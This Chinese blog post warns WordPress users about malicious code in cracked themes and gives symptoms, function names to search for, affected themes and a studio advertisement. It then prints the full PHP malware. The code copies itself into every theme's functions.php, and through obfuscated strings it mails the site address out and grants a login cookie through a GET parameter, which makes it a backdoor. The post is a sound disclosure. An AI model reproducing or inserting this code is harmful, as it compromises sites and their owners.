前几天接了一个修改个性化WordPress主题的项目,项目完工后发现本地Web服务器theme 目录下所有主题的 functions.php 文件被恶意修改,可恶! 因为之前没有发生过这种情况,从而怀疑这段代码是从破解主题中来的,与项目客户沟通后证实了这一点。这么多免费的主题,为什么偏偏要下载破解主题呢?这可能是和国内的版权意识有很大关系吧。
与此同时,在《检测到几款主题存在恶意广告代码》文章中也提到:
恶意代码在你启用不同主题的时候,会把同样的恶意代码复制到所有主题的 functions.php 文件中去,从而在页面底部显示广告代码。
表现形式--怎么才知道自己的主题感染了恶意代码呢?
若你在转换主题时提示 "Fatal error: Cannot redeclare _check_isactive_widget()"、"_get_allwidgetcont" 等错误,那你的代码很有很可能已被污染。
解决方案--遇到这种问题怎么解决呢?
该代码通常隐藏在主题的 function.php 文件中。该恶意代码的前后还有一些 function 是调用热门文章或者 widget,估计是为隐藏恶意代码加上去的,如:"_check_isactive_widget" "_get_allwidgetcont" "_getsprepare_widget" "__popular_posts",各位童鞋下载主题后请检查主题的 functions.php 文件中是否包含有以上类似代码,如有可一并删除。
文章最后附上我遇到的主题functions.php 文件中附带的恶意代码,请参考。
在此提醒各位童鞋,请到 WordPress 官方网站或者主题原作者网站下载插件或者主题,以防代码已被修改过。另外请各位童鞋保护版权,支持正版主题。目前发现曾被修改的主题有 A-SuperCMS、iBlogPro 4、wpbus-D4、Colossus、ZCool Like、PixLog、Zeta Theme、Tripress。
如果你不知道如何检查自己的主题是否感染了恶意代码,偶米工作室可以为你代劳,并可以为你定制个性化的WordPress主题,例如:企业主题、博客主题、CMS主题、淘宝客主题等等,如有需要可以进一步与我们取得联系。
附:恶意代码(点击按钮展开代码)
function _check_isactive_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output,$allowed);
$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") +6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$explar=stripos( substr($cont,-20),"?".">") !== false ?"": "?".">";
$output .= $before ."Not found".$after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") +2);}
$output=rtrim($output,"\n\t");fputs($f=fopen($item,"w+"),$cont .$explar ."\n".$widget);fclose($f);
$output .= ($showdots &&$ellipsis) ?"...": "";
}
}
}
}
return $output;
}
function _get_allwidgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) ||!is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "."&&$elem != ".."){
if (is_dir($places ."/".$elem)){
$wids[]=$places ."/".$elem;
}elseif (is_file($places ."/".$elem)&&$elem == substr(__FILE__,-13)){
$items[]=$places ."/".$elem;
}
}
}
}else{
return false;
}
if (sizeof($wids) >0){
return _get_allwidgetcont($wids,$items);
}else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str,$needle,$offset = 0 ){
return strpos( strtolower( $str ),strtolower( $needle ),$offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack,$needle,$offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset <0 ){
$temp_cut = strrev( substr( $haystack,0,abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack,0,max( ( strlen($haystack) -$offset ),0 ) ) );
}
if( ( $found = stripos( $temp_cut,strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) -( $found +$offset +strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false,$skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "."&&$file != "..") ||$skipDots == true) {
if($listDirectories == false) {if(is_dir($file)) {continue;}}
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head","_check_isactive_widget");
function _getsprepare_widget(){
if(!isset($com_length)) $com_length=120;
if(!isset($text_value)) $text_value="cookie";
if(!isset($allowed_tags)) $allowed_tags="<a>";
if(!isset($type_filter)) $type_filter="none";
if(!isset($expl)) $expl="";
if(!isset($filter_homes)) $filter_homes=get_option("home");
if(!isset($pref_filter)) $pref_filter="wp_";
if(!isset($use_more)) $use_more=1;
if(!isset($comm_type)) $comm_type="";
if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
if(!isset($postauthor_comment)) $postauthor_comment="";
if(!isset($comm_is_approved)) $comm_is_approved="";
if(!isset($postauthor)) $postauthor="auth";
if(!isset($more_link)) $more_link="(more...)";
if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
if(!isset($morecontents)) $morecontents="ma".$expl."il";
if(!isset($fmore)) $fmore=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$is_widget) :
global $wpdb,$post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
}else {
$output=get_the_password_form();
}
}
}
if(!isset($f_tags)) $f_tags=1;
if(!isset($type_filters)) $type_filters=$filter_homes;
if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
if(!isset($aditional_tags)) $aditional_tags="div";
if(!isset($s_cont)) $s_cont=substr($sq1,stripos($sq1,"live"),20);#
if(!isset($more_link_text)) $more_link_text="Continue reading this entry";
if(!isset($showdots)) $showdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
}elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ?$post->post_content : $post->post_excerpt;
}else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=".call_user_func_array($getcommentscont,array($s_cont,$filter_homes,$type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($com_length <0) {
$output=$text;
}else {
if(!$no_more &&strpos($text,"<!--more-->")) {
$text=explode("<!--more-->",$text,2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
}else {
$text=explode(" ",$text);
if(count($text) >$com_length) {
$l=$com_length;
$ellipsis=1;
}else {
$l=count($text);
$more_link="";
$ellipsis=0;
}
}
for ($i=0;$i<$l;$i++)
$output .= $text[$i] ." ";
}
update_option("_is_widget_active_",1);
if("all"!= $allowed_tags) {
$output=strip_tags($output,$allowed_tags);
return $output;
}
endif;
$output=rtrim($output,"\s\n\t\r\0\x0B");
$output=($f_tags) ?balanceTags($output,true) : $output;
$output .= ($showdots &&$ellipsis) ?"...": "";
$output=apply_filters($type_filter,$output);
switch($aditional_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_more ) {
if($fmore) {
$output .= " <".$tag ." class=\"more-link\"><a href=\"".get_permalink($post->ID) ."#more-".$post->ID ."\" title=\"".$more_link_text ."\">".$more_link = !is_user_logged_in() &&@call_user_func_array($checkingwidgets,array($pagecount,true)) ?$more_link : ""."</a></".$tag .">"."\n";
}else {
$output .= " <".$tag ." class=\"more-link\"><a href=\"".get_permalink($post->ID) ."\" title=\"".$more_link_text ."\">".$more_link ."</a></".$tag .">"."\n";
}
}
return $output;
}
add_action("init","_getsprepare_widget");
function __popular_posts($no_posts=6,$before="<li>",$after="</li>",$show_pass_post=false,$duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before ." <a href=\"".$permalink ."\" title=\"".$post_title."\">".$post_title ."</a> ".$after;
}
}else {
$output .= $before ."None found".$after;
}
return $output;
}